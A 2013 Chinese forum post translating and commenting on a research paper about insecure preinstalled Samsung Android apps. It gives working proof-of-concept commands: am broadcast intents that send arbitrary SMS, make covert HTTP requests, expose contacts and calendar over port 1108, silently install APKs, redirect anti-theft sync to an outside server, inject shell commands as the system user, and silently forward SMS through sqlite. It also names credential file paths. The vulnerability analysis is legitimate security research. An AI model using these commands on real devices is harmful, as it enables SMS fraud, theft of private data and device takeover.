-
-
[翻译] 一些OEM的厂商的漏洞分析
-
发表于: 2013-7-1 09:47 11389
-
http://blog.csdn.net/u011069813/article/details/9209221
现在给予Android平台 生态系统玩的终端厂商越来越大,暴漏的漏洞也越来越多了。
公司越大,漏洞越多,原因也是定制的更多了。尤其是三星哈!
http://www.quarkslab.com/dl/Android-OEM-applications-insecurity-and-backdoors-without-permission.pdf
简单对这篇文献进行分析一下:
1、组件安全性
By default, components are not exported。缺省组件是没有导出的,也就是说其它程序无法直接调用。
Special case: ContentProvider:最新的4.2.2也缺省是未导出的,原来的版本是导出的,有安全隐患。
The component status, exported or not, is defined by AndroidManifest.xml
The attribute exported=[truejfalse] 组件的导出与否,在AndroidManifest.xml里面定义。程序猿要注意。
<?xml version="1.0" encoding="utf-8"?>
2 <manifest android:sharedUserId="android.uid.system" android:versionCode="2"
3 android:versionName="2.0.0" package="com.sec.android.app.kieswifi">
4 <uses-permission android:name="android.permission.ACCESS_PHONE_STATE"/>
5 <uses-permission android:name="android.permission.INTERNET" />
6 <application>
7 <receiver android:name="AutoConnReceiver"
8 android:permission="android.permission.KIES_WIFI">
9 <intent-filter>
10 <action android:name="android.net.wifi.RUN_KIES" />
11 </intent-filter>
12 </receiver>
13 <service android:name=".AutoConnService"></service>
14 <activity android:name=".ui.KiesLauncher">
15 <intent-filter android:icon="@7F02001D">
16 <action android:name="android.intent.action.MAIN" />
17 <category android:name="android.intent.category.DEFAULT" />
18 </intent-filter>
19 </activity>
20 </application>
21 <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="14" />
22 </manifest>
Presence of an intent-filter (the component is automatically exported),如果涉及了fiter,那肯定是导出的!没看懂的说明不是android码农
A component can be exported but protected by a permission,既然注定要导出,那也得安全导出,那就给导出的组件设置一个权限吧!!注意,设置signature权限。
否则就是摆设。
以下内容摘自老王的书籍:
一个权限主要包含三个方面的信息:权限的名称、属于的权限组、保护级别。
1) protectionLevel
它表示系统向一个请求权限的应用程序授予(或不授予)给定的权限时应该遵循的方法。
a) Normal权限,只要申请了就可以使用,不会给用户带来伤害。比如SET_WALLPAPER.、android.permission.VIBRATE、com.android.alarm.permission.SET_ALARM
b) Dangerous权限,可能会给用户带来潜在性的伤害,如读取电话簿、联网等,系统在安装应用时提示用户,需要用户确认才可以使用。比如android.permission.SEND_SMS、android.permission.CALL_PHONE
c) signature权限,具有同一签名的应用才能访问。当请求某个权限的应用与已经申请了这个权限的应用具有相同的证书签名,系统就会授予其相应的权限。比如android.permission.FORCE_STOP_PACKAGES、android.permission.INJECT_EVENTS。事实上这是需要系统签名。
d) signatureOrSystem权限,主要被设备商使用,不推荐使用。Actually, the requested permission is granted only to applications that are in the Android system image or are signed with the same certificates as those in the system image。比如android.permission.ACCESS_USB、android.permission.SET_TIME。
2、android基本安全机制
下列内容摘自老王的书籍:
沙箱机制:隔离文件系统、隔离进程空间。
每一个Android应用都运行在一个 Dalvik虚拟机实例里,而每一个虚拟机实例都是一个独立的进程空间。不同的应用在不同的进程空间里运行,可以最大程度的保护应用的安全和独立运行。每一个Android应用程序(.apk文件)会在安装时分配一个独有的Linux用户ID,这就为它建立了一个沙盒,使其不能与其他应用程序进行接触。这个用户ID会在安装时分配给它,并在该设备上一直保持同一个数值。UID在linux中就是用户的ID,表明是哪个用户运行了这个程序,主要用于权限的管理。
除了UID,进程还有PID(Process Identifier),PID就是进程的身份标识,程序一运行系统就会自动分配给进程一个独一无二的PID。进程中止后PID被系统回收,可能会被继续分配给新运行的程序,但是在Android系统中一般不会把已经kill掉的进程ID重新分配给新的进程,新产生进程的进程号,一般比产生之前所有的进程号都要大。
虽然不同应用不同UID,无法共享信息,也多有不便啊,于是
可以通过使用AndroidManifest.xml文件中的manifest标签中的sharedUserId属性,来使不同的package共用同一个用户ID。通过这种方式,这两个package就会被认为是同一个应用程序,拥有同一个用户ID,并且拥有同样的文件存取权限。注意:为了保持安全,只有当两个应用程序被同一个签名签署的时候(并且请求了同一个sharedUserId)才会被分配同样的用户ID
3、权限管理机制
android的系统资源都被一些关系户提前拿到了。普通应用要想使用,那就得申请批文。
这种机制,不光被系统应用采用用来保护系统资源,还可以扩展到任何应用。程序猿也可以自定义权限,防止其他屌丝来袭,咱只给女神留接口。
系统受保护的资源很多,比如SD card write access, INTERNET access, sending SMS,等等
程序猿都可以在AndroidManifest.xml中申请,然后安装时会提示,有用户决策!
A permission can protect:(permission可以用到任何你需要保护资源的场景)
Functions: AccountManager.getAccounts() (GET_ACCOUNTS)
Intents: android.intent.action.CALL (CALL_PHONE)
Components: content://contacts (READ_CONTACTS, ...)
A permission is given to an UID and not to a packagename 另外permission是授权给UID的。。。。
Permission model is applied on native code too,native code也难逃权限沙箱!
All permissions of each application with the same sharedUserId are combined 几个应用,如果UID相同,那么他们的权限就是ALL Togetther
3、系统目录
/system/app
/system/framework
/system/bin
/system/lib
这些都是系统应用,native应用,库的位置,都很关键的!
比如/system/app ,s3里面就有216 APK。多么诱人的挖掘漏洞机会啊!有奖励计划吗?
如何自动挖漏洞,这篇文章说了几个
Based on Androguard (great framework)
ASAManifest: Analyzes the manifest of an application and tells which components are exported and under what conditions 主要是分析manfiest的,看是不是有组件导出!
申请了多少权限,是不是可被debug?
ASADatabase: Analyzes a large amount of applications like ASAManifest does and checks for sensitive API usage. The results are stored in MongoDB database.
主要是权限分析,看都申请了那些权限,比如申请了permission:/INSTALL_PACKAGES,你这是要闹啥!!!!这是你该申请的吗?
这是系统权限啊,需要system签名的,manifest.sharedUserId":"android.uid.system"。。。这要坑爹啊!
ASADi (ongoing): Di between two versions of a system, by example to detect vulnerability patching. 找不同的游戏,发现不同版本的差异!
上述带了作者的一些看法吧,看来作者不擅长挖漏洞!!总之,我已经有了自动化工具了哈!!!!
4、悄悄的干活!
先分析一下系统都有那些资源:
1)sd卡资源
有这个权限 WRITE EXTERNAL STORAGE就可以任意读写了。
sd卡由于是fat文件系统,所以没有linux的DAC权限机制。。没有沙箱!
所以数据和程序放在这儿一定要注意尿!,比如通过dexclassloader加载的。。
安装到SD卡中的应用(比如你部署到sd卡中),系统会加密这部分信息!
如果一个应用申请了(internet + sdcard),那他就是想给你的sd卡找个好买家!
2)sms
sms老版本有悄悄发短信的接口,但由于权限过于敏感,容易被杀毒软件检测。
新版本的sms直接发短信,系统会有提示!很大的进步!
现在才到本文的正题。。。系统漏洞!!!!
exported BroadcastReceiver -> ui.MmsBGSender An well formatted Intent allows to send arbitrary SMS/MMS
OEM的程序猿导出一个任意发短信的接口了。。。。exported=true,如何解决,exported=false。
一个poc:
shell@android:/ $ am broadcast -a com.android.mms.QUICKSND --es mms_to "*PHONENUMBER*"
--es mms_subject "*SUBJECT*" --es mms_text "*MESSAGE*"
am不熟悉的谈不上是android程序猿!
3)奇葩的internet权限
现在是个应用都申请internet权限吧,要不让你怎么敢号称是移动互联网应用呢?
这个奇葩漏洞就是无需申请internet权限,照样送外卖!
When an Intent is received with com.sec.pcw.device.HTTP_REQUEST_RETRY as action
The body, uri and pushType attributed are extracted and an HTTP POST request is executed based on it
poc:
shell@android:/ $ am broadcast -a com.sec.pcw.device.HTTP_REQUEST_RETRY --es uri
*URL* --es body *POST_DATA* --es pushType *PUSHTYPE*
让老王书里介绍的种种的权限代理攻击都羞愧不如!
4)这个漏洞让我想起以前的豌豆荚等同步工具的漏洞
开启了一个服务,然后呢,又导出了接口。。。这个服务呢又关联很多敏感信息。。。
The application exports a BroadcastReceiver smlNpsReceiver Answers to Intent related to Kies
com.intent.action.KIES WSSERVICE START
com.intent.action.KIES WSSERVICE START WIFI
一个导出的BroadcastReceiver smlNpsReceiver
public void onReceive(Context paramContext, Intent paramIntent)
2 {
3 [...]
4 if(paramIntent.getAction().
5 equals("com.intent.action.KIES_WSSERVICE_START"))
6 {
7 smlDebug.SML_DEBUG(2, "KIES_WSSERVICE_START");
8 wifi_connected = false;
9 usb_connected = true;
10 paramContext.stopService(
11 new Intent(paramContext, smlNpsService.class)
12 );
13 paramContext.startService(
14 new Intent(paramContext, smlNpsService.class)
15 );
16 }
17 [...]
18 }
开启的服务 smlNpsService.class
When it starts, it runs NpsServiceTask in a thread
Listens on 0.0.0.0:1108 (TCP)
Each connection is handled by smlNpsHandler in a separated thread
The method work() is called to handle the received data
smlNpsHandler.work()
1 protected void work()
2 {
3 if(this.socket != 0)
4 {
5 socketIS = this.socket.getInputStream();
6 socketOS = this.socket.getOutputStream();
7 cmdLine = this.readLine(socketIS);
8 if((cmdLine != 0) && (cmdLine.length() != 0))
9 {
10 cmdInformation = new String[3];
11 v5 = cmdLine.indexOf("BEGIN");
12 cmdInformation[0] = cmdLine.substring(0, 3);
13 if(v5 <= 3) {
14 cmdInformation[1] = cmdLine.substring(3, cmdLine.length());
15 } else {
16 cmdInformation[1] = cmdLine.substring(3, v5);
17 cmdInformation[2] = cmdLine.substring(v5, cmdLine.length());
18 }
19 v5 = Integer.valueOf(cmdInformation[0]).intValue();
20 switch(v5){
21 [...]
22 }
我是塔台70,我负责卖通信录!
case 70:
2 v1 = this.GetContact(cmdInformation[1]);
3 v2 = 0;
4 break;
5 [...]
6 case 72:
7 v1 = this.GetContactsIndexArray(
8 com.wssnps.database.smlContactItem$StorageType.
SMLDS_PIM_ADAPTER_CONTACT_PHONE.getId());
9 v2 = 0;
10 break;
11 [...]
12 case 90: 您是负责卖日程的
13 v1 = this.GetCalendar(cmdInformation[1]);
14 v2 = 0;
15 break;
16 [...]
case 453: 我是负责静默安装应用的!
2 v1 = Integer.valueOf(cmdInformation[1].trim()).intValue();
3 if(v1 <= 0) {
4 v1 = "-1\x0aERROR:length is 0\x0a";
5 v2 = 0;
6 } else {
7 v1 = this.readByte(socketIS, v1);
8 if(v1 != 0) {
9 v0 = com.wssnps.database.smlBackupRestoreItem.RestoreApplicationStart(
v1);
10 if(v0 != 0) {
11 [...]
12 }
13 } else {
14 v1 = "-1\x0aERROR:read bytes.\x0a";
15 v2 = 0;
16 }
17 }
18 break;
19 [...]
POC:
PoC
$ adb shell am broadcast -a com.intent.action.KIES_WSSERVICE_START
Broadcasting: Intent { act=com.intent.action.KIES_WSSERVICE_START }
Broadcast completed: result=0
$ adb shell netstat |grep 1108
tcp6 0 0 :::1108 :::* LISTEN
$ adb forward tcp:1108 tcp:1108
$ nc localhost 1108 -v
Connection to localhost 1108 port [tcp/*] succeeded!
090 1 # getCalendar(1)
0
BEGIN:VCALENDAR
VERSION:1.0
BEGIN:VEVENT
SUMMARY;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Sstic 2013
DESCRIPTION;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Conf
LOCATION;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Rennes
DTSTART:20130605T170000Z
DTEND:20130607T180000Z
X-ALLDAY:UNSET
X-CALENDARGROUP:1
UID:000000000000000000000000000000000000000000000001
END:VEVENT
END:VCALENDAR
072 # get the id of contacts on the smartphone (not the SIM)
0
2 # number of contact
8,9, # id of the contacts
070 9 # getContact(9)
0
BEGIN:VCARD
VERSION:2.1
N;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:;Kevin;;;;;;;
TEL;HOME;CELL:06 06 06 06 06
EMAIL;HOME;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:kevin@hotmail.com
X-DIRTY:1
X-ACCOUNT:vnd.sec.contact.phone;vnd.sec.contact.phone
END:VCARD
453 32 # install APK from /sdcard/restore/ 提前把应用放在此处即可实现静默安装啊!
4、防盗的。。
现在MDM、手机防盗热火朝天,这类软件都埋了一个客户端,如果他们有了漏洞(肯定有漏洞)!那手机防盗就怕变成卖信息了!!
The user can remote control his phone via http://samsungdive.com/ 这是一个手机防盗的主页面
可是他的程序猿缺乏经验。。。These applications export a BroadcastReceiver
With the correct Intent, you can change the default server used for sync and remote control by the smartphone
也就是说导出了不该导出的组件,可以设置其原创服务器地址。。。
POC:
shell@android:/ $ am broadcast -a android.intent.action.dsm.UPDATE_URL
--es DMServer "http://sh4ka.fr:80/test/trololo.php"
5、system 应用漏洞
有些预制应用的iD是system,但这也是不一定的,不一定system/app下面的都是。本来就没必要,最小特权原则最重要。
这个应用serviceModeApp.apk就有,可悲剧的是他还有漏洞,结果就是可以动态注入,以system的ID执行指令,
<receiver name=".FTATDumpReceiver">
2 <intent-filter>
3 <action name="com.android.sec.FTAT_DUMP"></action>
4 </intent-filter>
5 </receiver>
6 <receiver name=".FTATDumpReceiver"
7 permission="com.sec.android.app.servicemodeapp.permission.KEYSTRING">
8 <intent-filter>
9 <action name="com.android.sec.FAILDUMP"></action>
10 </intent-filter>
11 </receiver>
注册了一个receiver
FTATDumpReceiver.onReceive()
1 public void onReceive(Context paramContext, Intent paramIntent)
2 {
3 String str1 = paramIntent.getAction();
4 Log.i("FTATDumpReceiver", "onReceive action=" + str1);
5 if (str1.equals("com.android.sec.FTAT_DUMP"))
6 {
7 String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
8 Calendar localCalendar = Calendar.getInstance();
9 String str4 = str3 + new DecimalFormat("0000").format(localCalendar.get
(1));
10 [...]
11 String str9 = str8 + new DecimalFormat("00").format(localCalendar.get
(13));
12 Log.i("FTATDumpReceiver", "Dump Filename is" + str9);
13 Intent localIntent2 = new Intent(paramContext, FTATDumpService.class);
14 localIntent2.setFlags(268435456);
15 localIntent2.putExtra("FILENAME", str9);
16 paramContext.startService(localIntent2);
17 }
18 [...]
19 }
执行命令:
FTATDumpService.onStartCommand()
1 public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2)
2 {
3 Log.i("FTATDumpService", "onStartCommand()");
4 this.mHandler.sendEmptyMessage(1005);
5 final String str = paramIntent.getStringExtra("FILENAME");
6 [...]
7 new Thread(new Runnable()
8 {
9 public void run()
10 {
11 FTATDumpService.this.sendMessage(
12 FTATDumpService.access$600(FTATDumpService.this),
13 FTATDumpService.this.mHandler.obtainMessage(1014)
14 );
15 if (FTATDumpService.this.DoShellCmd("dumpstate > /data/log/" + str + "
.log"))
16 FTATDumpService.this.mHandler.sendEmptyMessage(1015);
17 [...]
18 }
19 }).start();
20 return 0;
21 }
这个命令就可以以system id执行 Shell了。
private boolean DoShellCmd(String paramString)
2 {
3 Log.i("FTATDumpService", "DoShellCmd : " + paramString);
4 String[] arrayOfString = new String[3];
5 arrayOfString[0] = "/system/bin/sh";
6 arrayOfString[1] = "-c";
7 arrayOfString[2] = paramString;
8 Log.i("FTATDumpService", "exec command");
9 Runtime.getRuntime().exec(arrayOfString).waitFor();
10 Log.i("FTATDumpService", "exec done");
11 Log.i("FTATDumpService", "DoShellCmd done");
12 return true;
13 }
POC:
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP 能成功的原因就是没有限制广播的接收!!任何人都可以广播,但你也可以有选择的接收啊,不能楼下有人喊我爱你,你就说:我也爱你啊!
--es FILENAME '../../../../../dev/null;/system/bin/id > /sdcard/shellescape;#'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }
Broadcast completed : result=0
$ adb shell cat /sdcard/shellescape 里面输出的就是当前ID的信息。
uid=1000(system) gid=1000(system) groups=1001(radio),1006(camera),
1007(log),1015(sdcard_rw),1023(media_rw),1028(sdcard_r),2001(cache),
3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct)
6、敏感信息rwx设置有问题
Wi keys: /data/misc/wi /wpa supplicant.conf
Password/pincode/pattern: guesture.key, password.key, ... 这个大家都知道了吧,知道这几个文件,就可以暴力攻击,直到爆出pin.
Mail accounts and Google Account token:
/data/system/user/X/accounts.db
7、MDM Agent的漏洞
MDM客户端承担的作用越来越重要了,随着BYOD的发展,那么MDM客户端的安全性就非常重要了。
通常MDM的能力都是系统提供的标准接口,因为大部分MDM厂商都是搞app的,他没有能力获取系统能力。
三星霸气十足,搞了一套Samsung's MDM : SAFE。SAFE其实就是把一些android没有暴漏的能力衍生出来,让MDM厂商去整合。
确实有一大堆MDM厂商和三星的SAFE进行了深度整合,这都是因为三星的手机这两年这么碉堡!
这部分能力是在Implemented partly in /system/framework/services.odex
这些能力主要有:
Application Policy - application backup, application uninstall, ...应用管理
Mail Account Policy - Manage mail accounts, behaviour when SSL certificates are invalid, ...账户管理
Enterprise VPN Policy - Retrieving of the certificates, passwords, 企业IT策略部署
Phone Restriction - Block WiFi, VPN connection, USB Debug,OTA rmware updates, reset to factory settings, ...外设控制
Misc Policy - Retrieve the clipboard content, ...剪贴板控制
这些模块 BrowserPolicy, DevicePolicy, ...三星还是做了控制的,每个里面定义个权限 android.permission.sec.MDM_XXX
通过Enforcement via enforceXXXPermission()进行权限验证。可以肯定是通过signature机制,也就是说每个厂商都需要申请三星的签名的!!
这些接口给system id开了后门。The framework doesn't check the permission when the calling application is system (UID = 1000)
文中没提到那些组件是导出的,如果仅仅是这样的话,还好吧,算漏洞吗?
7、神奇的短信转发
DSMLawmo.apk seems to have an interesting functionality...
[...]
if ("android.provider.Telephony.SMS_RECEIVED".equals(paramIntent.getAction()))
{
Util.Logd("Start to SMS forwarding service");
[...]
这个应用看log,貌似要转发短信哦!
那么转发短信的条件呢?
onReceive() of DSMSMSReceiver checks that:
If a SMS just arrived and I have not received it recently
If the SMS forwarding is enabled 有个标记,设置了这个标记就会转到一个可配置的号码!
If all these conditions are met, the smartphone forwards the SMS to the configured phone number
SMSForwarding key in the object DSMRepository
DSMRepository query a ContentProvider:
content://com.sec.dsm.system.dsmcontentprovider/dsm
sqlite db -> /data/data/com.sec.dsm.system/databases/profile.db 就是这个表里面维护了是否转发的状态
dsm table, column Key = SMSForward?
POC: 修改一下数据库,插入值就可以让短信悄悄的转发到一个号码!!
system@android:/data/data/com.sec.dsm.system/databases $ ls -al
-rw-rw---- system system 16384 2013-01-18 22:18 profile.db 看文件属性,一般用户也无法修改哦!
system@android:/data/data/com.sec.dsm.system/databases $ sqlite3
sqlite> insert into dsm values(null,"SMSForwarding","Enable"); 是否转发的标志
sqlite> insert into dsm values(null,"SMSRecipient","+33*NUMERO*"); 转到哪儿!
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创] 几个开放性话题大家讨论 10824
- 传统安全企业如360如何做无线安全(I) 15527
- [原创]伪基站和空中信息拦截 18411
- [原创]android 4.4安全更新 10633
- [翻译]ios安全团队对ios安全的认识 27162